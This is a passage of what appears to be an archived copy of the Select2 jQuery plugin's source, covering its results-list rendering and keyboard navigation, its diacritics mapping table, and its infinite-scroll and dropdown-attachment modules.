(decorated, container, $container) { decorated.call(this, container, $container); var stoppedEvents = [ 'blur', 'change', 'click', 'dblclick', 'focus', 'focusin', 'focusout', 'input', 'keydown', 'keyup', 'keypress', 'mousedown', 'mouseenter', 'mouseleave', 'mousemove', 'mouseover', 'mouseup', 'search', 'touchend', 'touchstart' ]; this.$selection.on(stoppedEvents.join(' '), function (evt) { evt.stopPropagation(); }); }; return StopPropagation; }); select2/results.js000064400000032356151701463450010163 0ustar00define([ 'jquery', './utils' ], function ($, Utils) { function Results ($element, options, dataAdapter) { this.$element = $element; this.data = dataAdapter; this.options = options; Results.__super__.constructor.call(this); } Utils.Extend(Results, Utils.Observable); Results.prototype.render = function () { var $results = $( '<ul class="select2-results__options" role="tree"></ul>' ); if (this.options.get('multiple')) { $results.attr('aria-multiselectable', 'true'); } this.$results = $results; return $results; }; Results.prototype.clear = function () { this.$results.empty(); }; Results.prototype.displayMessage = function (params) { var escapeMarkup = this.options.get('escapeMarkup'); this.clear(); this.hideLoading(); var $message = $( '<li role="treeitem" aria-live="assertive"' + ' class="select2-results__option"></li>' ); var message = this.options.get('translations').get(params.message); $message.append( escapeMarkup( message(params.args) ) ); $message[0].className += ' select2-results__message'; this.$results.append($message); }; Results.prototype.hideMessages = function () { this.$results.find('.select2-results__message').remove(); }; Results.prototype.append = function (data) { this.hideLoading(); var $options = []; if (data.results == null || data.results.length === 0) { if (this.$results.children().length === 0) { this.trigger('results:message', { message: 'noResults' }); } return; } data.results = this.sort(data.results); for (var d = 0; d < data.results.length; d++) { var item = data.results[d]; var $option = this.option(item); $options.push($option); } this.$results.append($options); }; Results.prototype.position = function ($results, $dropdown) { var $resultsContainer = $dropdown.find('.select2-results'); $resultsContainer.append($results); }; Results.prototype.sort = function (data) { var sorter = this.options.get('sorter'); return sorter(data); }; Results.prototype.highlightFirstItem = function () { var $options = this.$results .find('.select2-results__option[aria-selected]'); var $selected = $options.filter('[aria-selected=true]'); // Check if there are any selected options if ($selected.length > 0) { // If there are selected options, highlight the first $selected.first().trigger('mouseenter'); } else { // If there are no selected options, highlight the first option // in the dropdown $options.first().trigger('mouseenter'); } this.ensureHighlightVisible(); }; Results.prototype.setClasses = function () { var self = this; this.data.current(function (selected) { var selectedIds = $.map(selected, function (s) { return s.id.toString(); }); var $options = self.$results .find('.select2-results__option[aria-selected]'); $options.each(function () { var $option = $(this); var item = Utils.GetData(this, 'data'); // id needs to be converted to a string when comparing var id = '' + item.id; if ((item.element != null && item.element.selected) || (item.element == null && $.inArray(id, selectedIds) > -1)) { $option.attr('aria-selected', 'true'); } else { $option.attr('aria-selected', 'false'); } }); }); }; Results.prototype.showLoading = function (params) { this.hideLoading(); var loadingMore = this.options.get('translations').get('searching'); var loading = { disabled: true, loading: true, text: loadingMore(params) }; var $loading = this.option(loading); $loading.className += ' loading-results'; this.$results.prepend($loading); }; Results.prototype.hideLoading = function () { this.$results.find('.loading-results').remove(); }; Results.prototype.option = function (data) { var option = document.createElement('li'); option.className = 'select2-results__option'; var attrs = { 'role': 'treeitem', 'aria-selected': 'false' }; if (data.disabled) { delete attrs['aria-selected']; attrs['aria-disabled'] = 'true'; } if (data.id == null) { delete attrs['aria-selected']; } if (data._resultId != null) { option.id = data._resultId; } if (data.title) { option.title = data.title; } if (data.children) { attrs.role = 'group'; attrs['aria-label'] = data.text; delete attrs['aria-selected']; } for (var attr in attrs) { var val = attrs[attr]; option.setAttribute(attr, val); } if (data.children) { var $option = $(option); var label = document.createElement('strong'); label.className = 'select2-results__group'; var $label = $(label); this.template(data, label); var $children = []; for (var c = 0; c < data.children.length; c++) { var child = data.children[c]; var $child = this.option(child); $children.push($child); } var $childrenContainer = $('<ul></ul>', { 'class': 'select2-results__options select2-results__options--nested' }); $childrenContainer.append($children); $option.append(label); $option.append($childrenContainer); } else { this.template(data, option); } Utils.StoreData(option, 'data', data); return option; }; Results.prototype.bind = function (container, $container) { var self = this; var id = container.id + '-results'; this.$results.attr('id', id); container.on('results:all', function (params) { self.clear(); self.append(params.data); if (container.isOpen()) { self.setClasses(); self.highlightFirstItem(); } }); container.on('results:append', function (params) { self.append(params.data); if (container.isOpen()) { self.setClasses(); } }); container.on('query', function (params) { self.hideMessages(); self.showLoading(params); }); container.on('select', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('unselect', function () { if (!container.isOpen()) { return; } self.setClasses(); self.highlightFirstItem(); }); container.on('open', function () { // When the dropdown is open, aria-expended="true" self.$results.attr('aria-expanded', 'true'); self.$results.attr('aria-hidden', 'false'); self.setClasses(); self.ensureHighlightVisible(); }); container.on('close', function () { // When the dropdown is closed, aria-expended="false" self.$results.attr('aria-expanded', 'false'); self.$results.attr('aria-hidden', 'true'); self.$results.removeAttr('aria-activedescendant'); }); container.on('results:toggle', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } $highlighted.trigger('mouseup'); }); container.on('results:select', function () { var $highlighted = self.getHighlightedResults(); if ($highlighted.length === 0) { return; } var data = Utils.GetData($highlighted[0], 'data'); if ($highlighted.attr('aria-selected') == 'true') { self.trigger('close', {}); } else { self.trigger('select', { data: data }); } }); container.on('results:previous', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); // If we are already at te top, don't move further // If no options, currentIndex will be -1 if (currentIndex <= 0) { return; } var nextIndex = currentIndex - 1; // If none are highlighted, highlight the first if ($highlighted.length === 0) { nextIndex = 0; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top; var nextTop = $next.offset().top; var nextOffset = self.$results.scrollTop() + (nextTop - currentOffset); if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextTop - currentOffset < 0) { self.$results.scrollTop(nextOffset); } }); container.on('results:next', function () { var $highlighted = self.getHighlightedResults(); var $options = self.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var nextIndex = currentIndex + 1; // If we are at the last option, stay there if (nextIndex >= $options.length) { return; } var $next = $options.eq(nextIndex); $next.trigger('mouseenter'); var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var nextBottom = $next.offset().top + $next.outerHeight(false); var nextOffset = self.$results.scrollTop() + nextBottom - currentOffset; if (nextIndex === 0) { self.$results.scrollTop(0); } else if (nextBottom > currentOffset) { self.$results.scrollTop(nextOffset); } }); container.on('results:focus', function (params) { params.element.addClass('select2-results__option--highlighted'); }); container.on('results:message', function (params) { self.displayMessage(params); }); if ($.fn.mousewheel) { this.$results.on('mousewheel', function (e) { var top = self.$results.scrollTop(); var bottom = self.$results.get(0).scrollHeight - top + e.deltaY; var isAtTop = e.deltaY > 0 && top - e.deltaY <= 0; var isAtBottom = e.deltaY < 0 && bottom <= self.$results.height(); if (isAtTop) { self.$results.scrollTop(0); e.preventDefault(); e.stopPropagation(); } else if (isAtBottom) { self.$results.scrollTop( self.$results.get(0).scrollHeight - self.$results.height() ); e.preventDefault(); e.stopPropagation(); } }); } this.$results.on('mouseup', '.select2-results__option[aria-selected]', function (evt) { var $this = $(this); var data = Utils.GetData(this, 'data'); if ($this.attr('aria-selected') === 'true') { if (self.options.get('multiple')) { self.trigger('unselect', { originalEvent: evt, data: data }); } else { self.trigger('close', {}); } return; } self.trigger('select', { originalEvent: evt, data: data }); }); this.$results.on('mouseenter', '.select2-results__option[aria-selected]', function (evt) { var data = Utils.GetData(this, 'data'); self.getHighlightedResults() .removeClass('select2-results__option--highlighted'); self.trigger('results:focus', { data: data, element: $(this) }); }); }; Results.prototype.getHighlightedResults = function () { var $highlighted = this.$results .find('.select2-results__option--highlighted'); return $highlighted; }; Results.prototype.destroy = function () { this.$results.remove(); }; Results.prototype.ensureHighlightVisible = function () { var $highlighted = this.getHighlightedResults(); if ($highlighted.length === 0) { return; } var $options = this.$results.find('[aria-selected]'); var currentIndex = $options.index($highlighted); var currentOffset = this.$results.offset().top; var nextTop = $highlighted.offset().top; var nextOffset = this.$results.scrollTop() + (nextTop - currentOffset); var offsetDelta = nextTop - currentOffset; nextOffset -= $highlighted.outerHeight(false) * 2; if (currentIndex <= 2) { this.$results.scrollTop(0); } else if (offsetDelta > this.$results.outerHeight() || offsetDelta < 0) { this.$results.scrollTop(nextOffset); } }; Results.prototype.template = function (result, container) { var template = this.options.get('templateResult'); var escapeMarkup = this.options.get('escapeMarkup'); var content = template(result, container); if (content == null) { container.style.display = 'none'; } else if (typeof content === 'string') { container.innerHTML = escapeMarkup(content); } else { $(container).append(content); } }; return Results; }); select2/diacritics.js000064400000041164151701463450010575 0ustar00define([ ], function () { var diacritics = { '\u24B6': 'A', '\uFF21': 'A', '\u00C0': 'A', '\u00C1': 'A', '\u00C2': 'A', '\u1EA6': 'A', '\u1EA4': 'A', '\u1EAA': 'A', '\u1EA8': 'A', '\u00C3': 'A', '\u0100': 'A', '\u0102': 'A', '\u1EB0': 'A', '\u1EAE': 'A', '\u1EB4': 'A', '\u1EB2': 'A', '\u0226': 'A', '\u01E0': 'A', '\u00C4': 'A', '\u01DE': 'A', '\u1EA2': 'A', '\u00C5': 'A', '\u01FA': 'A', '\u01CD': 'A', '\u0200': 'A', '\u0202': 'A', '\u1EA0': 'A', '\u1EAC': 'A', '\u1EB6': 'A', '\u1E00': 'A', '\u0104': 'A', '\u023A': 'A', '\u2C6F': 'A', '\uA732': 'AA', '\u00C6': 'AE', '\u01FC': 'AE', '\u01E2': 'AE', '\uA734': 'AO', '\uA736': 'AU', '\uA738': 'AV', '\uA73A': 'AV', '\uA73C': 'AY', '\u24B7': 'B', '\uFF22': 'B', '\u1E02': 'B', '\u1E04': 'B', '\u1E06': 'B', '\u0243': 'B', '\u0182': 'B', '\u0181': 'B', '\u24B8': 'C', '\uFF23': 'C', '\u0106': 'C', '\u0108': 'C', '\u010A': 'C', '\u010C': 'C', '\u00C7': 'C', '\u1E08': 'C', '\u0187': 'C', '\u023B': 'C', '\uA73E': 'C', '\u24B9': 'D', '\uFF24': 'D', '\u1E0A': 'D', '\u010E': 'D', '\u1E0C': 'D', '\u1E10': 'D', '\u1E12': 'D', '\u1E0E': 'D', '\u0110': 'D', '\u018B': 'D', '\u018A': 'D', '\u0189': 'D', '\uA779': 'D', '\u01F1': 'DZ', '\u01C4': 'DZ', '\u01F2': 'Dz', '\u01C5': 'Dz', '\u24BA': 'E', '\uFF25': 'E', '\u00C8': 'E', '\u00C9': 'E', '\u00CA': 'E', '\u1EC0': 'E', '\u1EBE': 'E', '\u1EC4': 'E', '\u1EC2': 'E', '\u1EBC': 'E', '\u0112': 'E', '\u1E14': 'E', '\u1E16': 'E', '\u0114': 'E', '\u0116': 'E', '\u00CB': 'E', '\u1EBA': 'E', '\u011A': 'E', '\u0204': 'E', '\u0206': 'E', '\u1EB8': 'E', '\u1EC6': 'E', '\u0228': 'E', '\u1E1C': 'E', '\u0118': 'E', '\u1E18': 'E', '\u1E1A': 'E', '\u0190': 'E', '\u018E': 'E', '\u24BB': 'F', '\uFF26': 'F', '\u1E1E': 'F', '\u0191': 'F', '\uA77B': 'F', '\u24BC': 'G', '\uFF27': 'G', '\u01F4': 'G', '\u011C': 'G', '\u1E20': 'G', '\u011E': 'G', '\u0120': 'G', '\u01E6': 'G', '\u0122': 'G', '\u01E4': 'G', '\u0193': 'G', '\uA7A0': 'G', '\uA77D': 'G', '\uA77E': 'G', '\u24BD': 'H', '\uFF28': 'H', '\u0124': 'H', '\u1E22': 'H', '\u1E26': 'H', '\u021E': 'H', '\u1E24': 'H', '\u1E28': 'H', '\u1E2A': 'H', '\u0126': 'H', '\u2C67': 'H', '\u2C75': 'H', '\uA78D': 'H', '\u24BE': 'I', '\uFF29': 'I', '\u00CC': 'I', '\u00CD': 'I', '\u00CE': 'I', '\u0128': 'I', '\u012A': 'I', '\u012C': 'I', '\u0130': 'I', '\u00CF': 'I', '\u1E2E': 'I', '\u1EC8': 'I', '\u01CF': 'I', '\u0208': 'I', '\u020A': 'I', '\u1ECA': 'I', '\u012E': 'I', '\u1E2C': 'I', '\u0197': 'I', '\u24BF': 'J', '\uFF2A': 'J', '\u0134': 'J', '\u0248': 'J', '\u24C0': 'K', '\uFF2B': 'K', '\u1E30': 'K', '\u01E8': 'K', '\u1E32': 'K', '\u0136': 'K', '\u1E34': 'K', '\u0198': 'K', '\u2C69': 'K', '\uA740': 'K', '\uA742': 'K', '\uA744': 'K', '\uA7A2': 'K', '\u24C1': 'L', '\uFF2C': 'L', '\u013F': 'L', '\u0139': 'L', '\u013D': 'L', '\u1E36': 'L', '\u1E38': 'L', '\u013B': 'L', '\u1E3C': 'L', '\u1E3A': 'L', '\u0141': 'L', '\u023D': 'L', '\u2C62': 'L', '\u2C60': 'L', '\uA748': 'L', '\uA746': 'L', '\uA780': 'L', '\u01C7': 'LJ', '\u01C8': 'Lj', '\u24C2': 'M', '\uFF2D': 'M', '\u1E3E': 'M', '\u1E40': 'M', '\u1E42': 'M', '\u2C6E': 'M', '\u019C': 'M', '\u24C3': 'N', '\uFF2E': 'N', '\u01F8': 'N', '\u0143': 'N', '\u00D1': 'N', '\u1E44': 'N', '\u0147': 'N', '\u1E46': 'N', '\u0145': 'N', '\u1E4A': 'N', '\u1E48': 'N', '\u0220': 'N', '\u019D': 'N', '\uA790': 'N', '\uA7A4': 'N', '\u01CA': 'NJ', '\u01CB': 'Nj', '\u24C4': 'O', '\uFF2F': 'O', '\u00D2': 'O', '\u00D3': 'O', '\u00D4': 'O', '\u1ED2': 'O', '\u1ED0': 'O', '\u1ED6': 'O', '\u1ED4': 'O', '\u00D5': 'O', '\u1E4C': 'O', '\u022C': 'O', '\u1E4E': 'O', '\u014C': 'O', '\u1E50': 'O', '\u1E52': 'O', '\u014E': 'O', '\u022E': 'O', '\u0230': 'O', '\u00D6': 'O', '\u022A': 'O', '\u1ECE': 'O', '\u0150': 'O', '\u01D1': 'O', '\u020C': 'O', '\u020E': 'O', '\u01A0': 'O', '\u1EDC': 'O', '\u1EDA': 'O', '\u1EE0': 'O', '\u1EDE': 'O', '\u1EE2': 'O', '\u1ECC': 'O', '\u1ED8': 'O', '\u01EA': 'O', '\u01EC': 'O', '\u00D8': 'O', '\u01FE': 'O', '\u0186': 'O', '\u019F': 'O', '\uA74A': 'O', '\uA74C': 'O', '\u01A2': 'OI', '\uA74E': 'OO', '\u0222': 'OU', '\u24C5': 'P', '\uFF30': 'P', '\u1E54': 'P', '\u1E56': 'P', '\u01A4': 'P', '\u2C63': 'P', '\uA750': 'P', '\uA752': 'P', '\uA754': 'P', '\u24C6': 'Q', '\uFF31': 'Q', '\uA756': 'Q', '\uA758': 'Q', '\u024A': 'Q', '\u24C7': 'R', '\uFF32': 'R', '\u0154': 'R', '\u1E58': 'R', '\u0158': 'R', '\u0210': 'R', '\u0212': 'R', '\u1E5A': 'R', '\u1E5C': 'R', '\u0156': 'R', '\u1E5E': 'R', '\u024C': 'R', '\u2C64': 'R', '\uA75A': 'R', '\uA7A6': 'R', '\uA782': 'R', '\u24C8': 'S', '\uFF33': 'S', '\u1E9E': 'S', '\u015A': 'S', '\u1E64': 'S', '\u015C': 'S', '\u1E60': 'S', '\u0160': 'S', '\u1E66': 'S', '\u1E62': 'S', '\u1E68': 'S', '\u0218': 'S', '\u015E': 'S', '\u2C7E': 'S', '\uA7A8': 'S', '\uA784': 'S', '\u24C9': 'T', '\uFF34': 'T', '\u1E6A': 'T', '\u0164': 'T', '\u1E6C': 'T', '\u021A': 'T', '\u0162': 'T', '\u1E70': 'T', '\u1E6E': 'T', '\u0166': 'T', '\u01AC': 'T', '\u01AE': 'T', '\u023E': 'T', '\uA786': 'T', '\uA728': 'TZ', '\u24CA': 'U', '\uFF35': 'U', '\u00D9': 'U', '\u00DA': 'U', '\u00DB': 'U', '\u0168': 'U', '\u1E78': 'U', '\u016A': 'U', '\u1E7A': 'U', '\u016C': 'U', '\u00DC': 'U', '\u01DB': 'U', '\u01D7': 'U', '\u01D5': 'U', '\u01D9': 'U', '\u1EE6': 'U', '\u016E': 'U', '\u0170': 'U', '\u01D3': 'U', '\u0214': 'U', '\u0216': 'U', '\u01AF': 'U', '\u1EEA': 'U', '\u1EE8': 'U', '\u1EEE': 'U', '\u1EEC': 'U', '\u1EF0': 'U', '\u1EE4': 'U', '\u1E72': 'U', '\u0172': 'U', '\u1E76': 'U', '\u1E74': 'U', '\u0244': 'U', '\u24CB': 'V', '\uFF36': 'V', '\u1E7C': 'V', '\u1E7E': 'V', '\u01B2': 'V', '\uA75E': 'V', '\u0245': 'V', '\uA760': 'VY', '\u24CC': 'W', '\uFF37': 'W', '\u1E80': 'W', '\u1E82': 'W', '\u0174': 'W', '\u1E86': 'W', '\u1E84': 'W', '\u1E88': 'W', '\u2C72': 'W', '\u24CD': 'X', '\uFF38': 'X', '\u1E8A': 'X', '\u1E8C': 'X', '\u24CE': 'Y', '\uFF39': 'Y', '\u1EF2': 'Y', '\u00DD': 'Y', '\u0176': 'Y', '\u1EF8': 'Y', '\u0232': 'Y', '\u1E8E': 'Y', '\u0178': 'Y', '\u1EF6': 'Y', '\u1EF4': 'Y', '\u01B3': 'Y', '\u024E': 'Y', '\u1EFE': 'Y', '\u24CF': 'Z', '\uFF3A': 'Z', '\u0179': 'Z', '\u1E90': 'Z', '\u017B': 'Z', '\u017D': 'Z', '\u1E92': 'Z', '\u1E94': 'Z', '\u01B5': 'Z', '\u0224': 'Z', '\u2C7F': 'Z', '\u2C6B': 'Z', '\uA762': 'Z', '\u24D0': 'a', '\uFF41': 'a', '\u1E9A': 'a', '\u00E0': 'a', '\u00E1': 'a', '\u00E2': 'a', '\u1EA7': 'a', '\u1EA5': 'a', '\u1EAB': 'a', '\u1EA9': 'a', '\u00E3': 'a', '\u0101': 'a', '\u0103': 'a', '\u1EB1': 'a', '\u1EAF': 'a', '\u1EB5': 'a', '\u1EB3': 'a', '\u0227': 'a', '\u01E1': 'a', '\u00E4': 'a', '\u01DF': 'a', '\u1EA3': 'a', '\u00E5': 'a', '\u01FB': 'a', '\u01CE': 'a', '\u0201': 'a', '\u0203': 'a', '\u1EA1': 'a', '\u1EAD': 'a', '\u1EB7': 'a', '\u1E01': 'a', '\u0105': 'a', '\u2C65': 'a', '\u0250': 'a', '\uA733': 'aa', '\u00E6': 'ae', '\u01FD': 'ae', '\u01E3': 'ae', '\uA735': 'ao', '\uA737': 'au', '\uA739': 'av', '\uA73B': 'av', '\uA73D': 'ay', '\u24D1': 'b', '\uFF42': 'b', '\u1E03': 'b', '\u1E05': 'b', '\u1E07': 'b', '\u0180': 'b', '\u0183': 'b', '\u0253': 'b', '\u24D2': 'c', '\uFF43': 'c', '\u0107': 'c', '\u0109': 'c', '\u010B': 'c', '\u010D': 'c', '\u00E7': 'c', '\u1E09': 'c', '\u0188': 'c', '\u023C': 'c', '\uA73F': 'c', '\u2184': 'c', '\u24D3': 'd', '\uFF44': 'd', '\u1E0B': 'd', '\u010F': 'd', '\u1E0D': 'd', '\u1E11': 'd', '\u1E13': 'd', '\u1E0F': 'd', '\u0111': 'd', '\u018C': 'd', '\u0256': 'd', '\u0257': 'd', '\uA77A': 'd', '\u01F3': 'dz', '\u01C6': 'dz', '\u24D4': 'e', '\uFF45': 'e', '\u00E8': 'e', '\u00E9': 'e', '\u00EA': 'e', '\u1EC1': 'e', '\u1EBF': 'e', '\u1EC5': 'e', '\u1EC3': 'e', '\u1EBD': 'e', '\u0113': 'e', '\u1E15': 'e', '\u1E17': 'e', '\u0115': 'e', '\u0117': 'e', '\u00EB': 'e', '\u1EBB': 'e', '\u011B': 'e', '\u0205': 'e', '\u0207': 'e', '\u1EB9': 'e', '\u1EC7': 'e', '\u0229': 'e', '\u1E1D': 'e', '\u0119': 'e', '\u1E19': 'e', '\u1E1B': 'e', '\u0247': 'e', '\u025B': 'e', '\u01DD': 'e', '\u24D5': 'f', '\uFF46': 'f', '\u1E1F': 'f', '\u0192': 'f', '\uA77C': 'f', '\u24D6': 'g', '\uFF47': 'g', '\u01F5': 'g', '\u011D': 'g', '\u1E21': 'g', '\u011F': 'g', '\u0121': 'g', '\u01E7': 'g', '\u0123': 'g', '\u01E5': 'g', '\u0260': 'g', '\uA7A1': 'g', '\u1D79': 'g', '\uA77F': 'g', '\u24D7': 'h', '\uFF48': 'h', '\u0125': 'h', '\u1E23': 'h', '\u1E27': 'h', '\u021F': 'h', '\u1E25': 'h', '\u1E29': 'h', '\u1E2B': 'h', '\u1E96': 'h', '\u0127': 'h', '\u2C68': 'h', '\u2C76': 'h', '\u0265': 'h', '\u0195': 'hv', '\u24D8': 'i', '\uFF49': 'i', '\u00EC': 'i', '\u00ED': 'i', '\u00EE': 'i', '\u0129': 'i', '\u012B': 'i', '\u012D': 'i', '\u00EF': 'i', '\u1E2F': 'i', '\u1EC9': 'i', '\u01D0': 'i', '\u0209': 'i', '\u020B': 'i', '\u1ECB': 'i', '\u012F': 'i', '\u1E2D': 'i', '\u0268': 'i', '\u0131': 'i', '\u24D9': 'j', '\uFF4A': 'j', '\u0135': 'j', '\u01F0': 'j', '\u0249': 'j', '\u24DA': 'k', '\uFF4B': 'k', '\u1E31': 'k', '\u01E9': 'k', '\u1E33': 'k', '\u0137': 'k', '\u1E35': 'k', '\u0199': 'k', '\u2C6A': 'k', '\uA741': 'k', '\uA743': 'k', '\uA745': 'k', '\uA7A3': 'k', '\u24DB': 'l', '\uFF4C': 'l', '\u0140': 'l', '\u013A': 'l', '\u013E': 'l', '\u1E37': 'l', '\u1E39': 'l', '\u013C': 'l', '\u1E3D': 'l', '\u1E3B': 'l', '\u017F': 'l', '\u0142': 'l', '\u019A': 'l', '\u026B': 'l', '\u2C61': 'l', '\uA749': 'l', '\uA781': 'l', '\uA747': 'l', '\u01C9': 'lj', '\u24DC': 'm', '\uFF4D': 'm', '\u1E3F': 'm', '\u1E41': 'm', '\u1E43': 'm', '\u0271': 'm', '\u026F': 'm', '\u24DD': 'n', '\uFF4E': 'n', '\u01F9': 'n', '\u0144': 'n', '\u00F1': 'n', '\u1E45': 'n', '\u0148': 'n', '\u1E47': 'n', '\u0146': 'n', '\u1E4B': 'n', '\u1E49': 'n', '\u019E': 'n', '\u0272': 'n', '\u0149': 'n', '\uA791': 'n', '\uA7A5': 'n', '\u01CC': 'nj', '\u24DE': 'o', '\uFF4F': 'o', '\u00F2': 'o', '\u00F3': 'o', '\u00F4': 'o', '\u1ED3': 'o', '\u1ED1': 'o', '\u1ED7': 'o', '\u1ED5': 'o', '\u00F5': 'o', '\u1E4D': 'o', '\u022D': 'o', '\u1E4F': 'o', '\u014D': 'o', '\u1E51': 'o', '\u1E53': 'o', '\u014F': 'o', '\u022F': 'o', '\u0231': 'o', '\u00F6': 'o', '\u022B': 'o', '\u1ECF': 'o', '\u0151': 'o', '\u01D2': 'o', '\u020D': 'o', '\u020F': 'o', '\u01A1': 'o', '\u1EDD': 'o', '\u1EDB': 'o', '\u1EE1': 'o', '\u1EDF': 'o', '\u1EE3': 'o', '\u1ECD': 'o', '\u1ED9': 'o', '\u01EB': 'o', '\u01ED': 'o', '\u00F8': 'o', '\u01FF': 'o', '\u0254': 'o', '\uA74B': 'o', '\uA74D': 'o', '\u0275': 'o', '\u01A3': 'oi', '\u0223': 'ou', '\uA74F': 'oo', '\u24DF': 'p', '\uFF50': 'p', '\u1E55': 'p', '\u1E57': 'p', '\u01A5': 'p', '\u1D7D': 'p', '\uA751': 'p', '\uA753': 'p', '\uA755': 'p', '\u24E0': 'q', '\uFF51': 'q', '\u024B': 'q', '\uA757': 'q', '\uA759': 'q', '\u24E1': 'r', '\uFF52': 'r', '\u0155': 'r', '\u1E59': 'r', '\u0159': 'r', '\u0211': 'r', '\u0213': 'r', '\u1E5B': 'r', '\u1E5D': 'r', '\u0157': 'r', '\u1E5F': 'r', '\u024D': 'r', '\u027D': 'r', '\uA75B': 'r', '\uA7A7': 'r', '\uA783': 'r', '\u24E2': 's', '\uFF53': 's', '\u00DF': 's', '\u015B': 's', '\u1E65': 's', '\u015D': 's', '\u1E61': 's', '\u0161': 's', '\u1E67': 's', '\u1E63': 's', '\u1E69': 's', '\u0219': 's', '\u015F': 's', '\u023F': 's', '\uA7A9': 's', '\uA785': 's', '\u1E9B': 's', '\u24E3': 't', '\uFF54': 't', '\u1E6B': 't', '\u1E97': 't', '\u0165': 't', '\u1E6D': 't', '\u021B': 't', '\u0163': 't', '\u1E71': 't', '\u1E6F': 't', '\u0167': 't', '\u01AD': 't', '\u0288': 't', '\u2C66': 't', '\uA787': 't', '\uA729': 'tz', '\u24E4': 'u', '\uFF55': 'u', '\u00F9': 'u', '\u00FA': 'u', '\u00FB': 'u', '\u0169': 'u', '\u1E79': 'u', '\u016B': 'u', '\u1E7B': 'u', '\u016D': 'u', '\u00FC': 'u', '\u01DC': 'u', '\u01D8': 'u', '\u01D6': 'u', '\u01DA': 'u', '\u1EE7': 'u', '\u016F': 'u', '\u0171': 'u', '\u01D4': 'u', '\u0215': 'u', '\u0217': 'u', '\u01B0': 'u', '\u1EEB': 'u', '\u1EE9': 'u', '\u1EEF': 'u', '\u1EED': 'u', '\u1EF1': 'u', '\u1EE5': 'u', '\u1E73': 'u', '\u0173': 'u', '\u1E77': 'u', '\u1E75': 'u', '\u0289': 'u', '\u24E5': 'v', '\uFF56': 'v', '\u1E7D': 'v', '\u1E7F': 'v', '\u028B': 'v', '\uA75F': 'v', '\u028C': 'v', '\uA761': 'vy', '\u24E6': 'w', '\uFF57': 'w', '\u1E81': 'w', '\u1E83': 'w', '\u0175': 'w', '\u1E87': 'w', '\u1E85': 'w', '\u1E98': 'w', '\u1E89': 'w', '\u2C73': 'w', '\u24E7': 'x', '\uFF58': 'x', '\u1E8B': 'x', '\u1E8D': 'x', '\u24E8': 'y', '\uFF59': 'y', '\u1EF3': 'y', '\u00FD': 'y', '\u0177': 'y', '\u1EF9': 'y', '\u0233': 'y', '\u1E8F': 'y', '\u00FF': 'y', '\u1EF7': 'y', '\u1E99': 'y', '\u1EF5': 'y', '\u01B4': 'y', '\u024F': 'y', '\u1EFF': 'y', '\u24E9': 'z', '\uFF5A': 'z', '\u017A': 'z', '\u1E91': 'z', '\u017C': 'z', '\u017E': 'z', '\u1E93': 'z', '\u1E95': 'z', '\u01B6': 'z', '\u0225': 'z', '\u0240': 'z', '\u2C6C': 'z', '\uA763': 'z', '\u0386': '\u0391', '\u0388': '\u0395', '\u0389': '\u0397', '\u038A': '\u0399', '\u03AA': '\u0399', '\u038C': '\u039F', '\u038E': '\u03A5', '\u03AB': '\u03A5', '\u038F': '\u03A9', '\u03AC': '\u03B1', '\u03AD': '\u03B5', '\u03AE': '\u03B7', '\u03AF': '\u03B9', '\u03CA': '\u03B9', '\u0390': '\u03B9', '\u03CC': '\u03BF', '\u03CD': '\u03C5', '\u03CB': '\u03C5', '\u03B0': '\u03C5', '\u03C9': '\u03C9', '\u03C2': '\u03C3' }; return diacritics; }); select2/dropdown/infiniteScroll.js000064400000004352151701463450013275 0ustar00define([ 'jquery' ], function ($) { function InfiniteScroll (decorated, $element, options, dataAdapter) { this.lastParams = {}; decorated.call(this, $element, options, dataAdapter); this.$loadingMore = this.createLoadingMore(); this.loading = false; } InfiniteScroll.prototype.append = function (decorated, data) { this.$loadingMore.remove(); this.loading = false; decorated.call(this, data); if (this.showLoadingMore(data)) { this.$results.append(this.$loadingMore); } }; InfiniteScroll.prototype.bind = function (decorated, container, $container) { var self = this; decorated.call(this, container, $container); container.on('query', function (params) { self.lastParams = params; self.loading = true; }); container.on('query:append', function (params) { self.lastParams = params; self.loading = true; }); this.$results.on('scroll', function () { var isLoadMoreVisible = $.contains( document.documentElement, self.$loadingMore[0] ); if (self.loading || !isLoadMoreVisible) { return; } var currentOffset = self.$results.offset().top + self.$results.outerHeight(false); var loadingMoreOffset = self.$loadingMore.offset().top + self.$loadingMore.outerHeight(false); if (currentOffset + 50 >= loadingMoreOffset) { self.loadMore(); } }); }; InfiniteScroll.prototype.loadMore = function () { this.loading = true; var params = $.extend({}, {page: 1}, this.lastParams); params.page++; this.trigger('query:append', params); }; InfiniteScroll.prototype.showLoadingMore = function (_, data) { return data.pagination && data.pagination.more; }; InfiniteScroll.prototype.createLoadingMore = function () { var $option = $( '<li ' + 'class="select2-results__option select2-results__option--load-more"' + 'role="treeitem" aria-disabled="true"></li>' ); var message = this.options.get('translations').get('loadingMore'); $option.html(message(this.lastParams)); return $option; }; return InfiniteScroll; }); select2/dropdown/attachBody.js000064400000014336151701463450012376 0ustar00define([ 'jquery', '../utils' ], function ($, Utils) { function AttachBody (decorated, $element, options) { this.$dropdownParent = options.get('dropdownParent') || $(document.body); decorated.call(this, $element, options); } AttachBody.prototype.bind = function (decorated, container, $container) { var self = this; var setupResultsEvents = false; decorated.call(this, container, $container); container.on('open', function () { self._showDropdown(); self._attachPositioningHandler(container); if (!setupResultsEvents) { setupResultsEvents = true; container.on('results:all', function () { self._positionDropdown(); self._resizeDropdown(); }); container.on('results:append', function () { self._positionDropdown(); self._resizeDropdown(); }); } }); container.on('close', function () { self._hideDropdown(); self._detachPositioningHandler(container); }); this.$dropdownContainer.on('mousedown', function (evt) { evt.stopPropagation(); }); }; AttachBody.prototype.destroy = function (decorated) { decorated.call(this); this.$dropdownContainer.remove(); }; AttachBody.prototype.position = function (decorated, $dropdown, $container) { // Clone all of the container classes $dropdown.attr('class', $container.attr('class')); $dropdown.removeClass('select2'); $dropdown.addClass('select2-container--open'); $dropdown.css({ position: 'absolute', top: -999999 }); this.$container = $container; }; AttachBody.prototype.render = function (decorated) { var $container = $('<span></span>'); var $dropdown = decorated.call(this); $container.append($dropdown); this.$dropdownContainer = $container; return $container; }; AttachBody.prototype._hideDropdown = function (decorated) { 